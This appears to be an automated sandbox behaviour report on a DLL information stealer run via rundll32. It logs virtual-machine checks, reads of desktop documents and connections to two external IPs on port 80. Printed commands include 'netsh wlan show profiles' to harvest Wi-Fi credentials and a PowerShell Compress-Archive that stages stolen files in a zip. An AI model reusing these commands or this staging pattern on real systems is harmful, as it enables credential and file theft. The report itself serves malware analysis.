Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8360	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1272	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8295
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1153
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7153
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2422

Source: C:\Windows\System32\loaddll64.exe TID: 6700	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1636	Thread sleep count: 8360 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 384	Thread sleep count: 1272 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5716	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5732	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep count: 7153 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep count: 2422 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6924	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

Source: rundll32.exe, 00000010.00000002.2651449629.0000016386D26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6623000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: rundll32.exe, 00000010.00000002.2651449629.0000016386D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836063000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: rundll32.exe, 00000003.00000002.2618277178.00000186D6673000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2628441659.0000020836084000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.2651449629.0000016386D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000004.00000002.2628441659.0000020836034000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: netsh.exe, 00000006.00000003.2355030959.0000020140B25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTT
Source: netsh.exe, 00000007.00000003.2355011354.0000021A0EFA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU
Source: netsh.exe, 00000012.00000003.2414209216.0000021C11E36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.81.68.147 80			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 185.81.68.148 80			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\GAOBCVIQIJ.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\LSBIHQFDVT.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PWCCAWLGRE.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QNCYCDFIJJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\GAOBCVIQIJ.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\LSBIHQFDVT.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PWCCAWLGRE.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QNCYCDFIJJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZQIXMVQGAH.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZQIXMVQGAH.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
